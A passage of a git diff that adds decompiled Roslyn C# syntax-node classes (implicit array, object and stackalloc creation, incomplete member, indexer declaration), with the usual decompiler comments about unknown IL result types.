//IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, openBracketToken, Commas, CloseBracketToken, Initializer); + } + + public ImplicitArrayCreationExpressionSyntax WithCommas(SyntaxTokenList commas) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, OpenBracketToken, commas, CloseBracketToken, Initializer); + } + + public ImplicitArrayCreationExpressionSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, OpenBracketToken, Commas, closeBracketToken, Initializer); + } + + public ImplicitArrayCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, OpenBracketToken, Commas, CloseBracketToken, initializer); + } + + public ImplicitArrayCreationExpressionSyntax AddCommas(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList commas = Commas; + return WithCommas(((SyntaxTokenList)(ref commas)).AddRange((IEnumerable)items)); + } + + public ImplicitArrayCreationExpressionSyntax AddInitializerExpressions(params ExpressionSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithInitializer(Initializer.WithExpressions(Initializer.Expressions.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitElementAccessSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitElementAccessSyntax.cs new file mode 100644 index 0000000..4df8ddb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitElementAccessSyntax.cs @@ -0,0 +1,72 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ImplicitElementAccessSyntax : ExpressionSyntax +{ + private BracketedArgumentListSyntax? argumentList; + + public BracketedArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRedAtZero(ref argumentList); + + internal ImplicitElementAccessSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref argumentList); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)argumentList; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitElementAccess(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitElementAccess(this); + } + + public ImplicitElementAccessSyntax Update(BracketedArgumentListSyntax argumentList) + { + if (argumentList != ArgumentList) + { + ImplicitElementAccessSyntax implicitElementAccessSyntax = SyntaxFactory.ImplicitElementAccess(argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return implicitElementAccessSyntax; + } + return implicitElementAccessSyntax.WithAnnotations(annotations); + } + return this; + } + + public ImplicitElementAccessSyntax WithArgumentList(BracketedArgumentListSyntax argumentList) + { + return Update(argumentList); + } + + public ImplicitElementAccessSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..2aeb6a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitObjectCreationExpressionSyntax.cs @@ -0,0 +1,118 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ImplicitObjectCreationExpressionSyntax : BaseObjectCreationExpressionSyntax +{ + private ArgumentListSyntax? argumentList; + + private InitializerExpressionSyntax? initializer; + + public override SyntaxToken NewKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitObjectCreationExpressionSyntax)(object)((SyntaxNode)this).Green).newKeyword, ((SyntaxNode)this).Position, 0); + + public override ArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 1); + + public override InitializerExpressionSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 2); + + internal ImplicitObjectCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref argumentList, 1), + 2 => ((SyntaxNode)this).GetRed(ref initializer, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => argumentList, + 2 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitObjectCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitObjectCreationExpression(this); + } + + public ImplicitObjectCreationExpressionSyntax Update(SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || argumentList != ArgumentList || initializer != Initializer) + { + ImplicitObjectCreationExpressionSyntax implicitObjectCreationExpressionSyntax = SyntaxFactory.ImplicitObjectCreationExpression(newKeyword, argumentList, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return implicitObjectCreationExpressionSyntax; + } + return implicitObjectCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseObjectCreationExpressionSyntax WithNewKeywordCore(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithNewKeyword(newKeyword); + } + + public new ImplicitObjectCreationExpressionSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(newKeyword, ArgumentList, Initializer); + } + + internal override BaseObjectCreationExpressionSyntax WithArgumentListCore(ArgumentListSyntax? argumentList) + { + return WithArgumentList(argumentList ?? throw new ArgumentNullException("argumentList")); + } + + public new ImplicitObjectCreationExpressionSyntax WithArgumentList(ArgumentListSyntax argumentList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, argumentList, Initializer); + } + + internal override BaseObjectCreationExpressionSyntax WithInitializerCore(InitializerExpressionSyntax? initializer) + { + return WithInitializer(initializer); + } + + public new ImplicitObjectCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, ArgumentList, initializer); + } + + internal override BaseObjectCreationExpressionSyntax AddArgumentListArgumentsCore(params ArgumentSyntax[] items) + { + return AddArgumentListArguments(items); + } + + public new ImplicitObjectCreationExpressionSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitStackAllocArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitStackAllocArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..4a0e546 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitStackAllocArrayCreationExpressionSyntax.cs @@ -0,0 +1,114 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ImplicitStackAllocArrayCreationExpressionSyntax : ExpressionSyntax +{ + private InitializerExpressionSyntax? initializer; + + public SyntaxToken StackAllocKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitStackAllocArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).stackAllocKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitStackAllocArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitStackAllocArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public InitializerExpressionSyntax Initializer => ((SyntaxNode)this).GetRed(ref initializer, 3); + + internal ImplicitStackAllocArrayCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 3) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref initializer, 3); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 3) + { + return null; + } + return (SyntaxNode?)(object)initializer; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitStackAllocArrayCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitStackAllocArrayCreationExpression(this); + } + + public ImplicitStackAllocArrayCreationExpressionSyntax Update(SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (stackAllocKeyword != StackAllocKeyword || openBracketToken != OpenBracketToken || closeBracketToken != CloseBracketToken || initializer != Initializer) + { + ImplicitStackAllocArrayCreationExpressionSyntax implicitStackAllocArrayCreationExpressionSyntax = SyntaxFactory.ImplicitStackAllocArrayCreationExpression(stackAllocKeyword, openBracketToken, closeBracketToken, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return implicitStackAllocArrayCreationExpressionSyntax; + } + return implicitStackAllocArrayCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ImplicitStackAllocArrayCreationExpressionSyntax WithStackAllocKeyword(SyntaxToken stackAllocKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(stackAllocKeyword, OpenBracketToken, CloseBracketToken, Initializer); + } + + public ImplicitStackAllocArrayCreationExpressionSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(StackAllocKeyword, openBracketToken, CloseBracketToken, Initializer); + } + + public ImplicitStackAllocArrayCreationExpressionSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(StackAllocKeyword, OpenBracketToken, closeBracketToken, Initializer); + } + + public ImplicitStackAllocArrayCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(StackAllocKeyword, OpenBracketToken, CloseBracketToken, initializer); + } + + public ImplicitStackAllocArrayCreationExpressionSyntax AddInitializerExpressions(params ExpressionSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithInitializer(Initializer.WithExpressions(Initializer.Expressions.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IncompleteMemberSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IncompleteMemberSyntax.cs new file mode 100644 index 0000000..2657155 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IncompleteMemberSyntax.cs @@ -0,0 +1,147 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IncompleteMemberSyntax : MemberDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax? Type => ((SyntaxNode)this).GetRed(ref type, 2); + + internal IncompleteMemberSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref type, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => type, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIncompleteMember(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIncompleteMember(this); + } + + public IncompleteMemberSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax? type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type) + { + IncompleteMemberSyntax incompleteMemberSyntax = SyntaxFactory.IncompleteMember(attributeLists, modifiers, type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return incompleteMemberSyntax; + } + return incompleteMemberSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new IncompleteMemberSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Type); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new IncompleteMemberSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Type); + } + + public IncompleteMemberSyntax WithType(TypeSyntax? type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, type); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new IncompleteMemberSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new IncompleteMemberSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IndexerDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IndexerDeclarationSyntax.cs new file mode 100644 index 0000000..62a6c10 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IndexerDeclarationSyntax.cs @@ -0,0 +1,308 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IndexerDeclarationSyntax : BasePropertyDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + private ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + private BracketedParameterListSyntax? parameterList; + + private AccessorListSyntax? accessorList; + + private ArrowExpressionClauseSyntax? expressionBody; + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("This member is obsolete.", true)] + public SyntaxToken Semicolon => SemicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public override ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3); + + public SyntaxToken ThisKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IndexerDeclarationSyntax)(object)((SyntaxNode)this).Green).thisKeyword, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public BracketedParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 5); + + public override AccessorListSyntax? AccessorList => ((SyntaxNode)this).GetRed(ref accessorList, 6); + + public ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 7); + + public SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IndexerDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("This member is obsolete.", true)] + public IndexerDeclarationSyntax WithSemicolon(SyntaxToken semicolon) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolon); + } + + internal IndexerDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref type, 2), + 3 => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3), + 5 => ((SyntaxNode)this).GetRed(ref parameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref accessorList, 6), + 7 => ((SyntaxNode)this).GetRed(ref expressionBody, 7), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => type, + 3 => explicitInterfaceSpecifier, + 5 => parameterList, + 6 => accessorList, + 7 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIndexerDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIndexerDeclaration(this); + } + + public IndexerDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || thisKeyword != ThisKeyword || parameterList != ParameterList || accessorList != AccessorList || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + IndexerDeclarationSyntax indexerDeclarationSyntax = SyntaxFactory.IndexerDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return indexerDeclarationSyntax; + } + return indexerDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new IndexerDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, ThisKeyword, ParameterList, AccessorList, ExpressionBody, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new IndexerDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Type, ExplicitInterfaceSpecifier, ThisKeyword, ParameterList, AccessorList, ExpressionBody, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithTypeCore(TypeSyntax type) + { + return WithType(type); + } + + public new IndexerDeclarationSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, type, ExplicitInterfaceSpecifier, ThisKeyword, ParameterList, AccessorList, ExpressionBody, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithExplicitInterfaceSpecifierCore(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + return WithExplicitInterfaceSpecifier(explicitInterfaceSpecifier); + } + + public new IndexerDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, explicitInterfaceSpecifier, ThisKeyword, ParameterList, AccessorList, ExpressionBody, SemicolonToken); + } + + public IndexerDeclarationSyntax WithThisKeyword(SyntaxToken thisKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, thisKeyword, ParameterList, AccessorList, ExpressionBody, SemicolonToken); + } + + public IndexerDeclarationSyntax WithParameterList(BracketedParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type 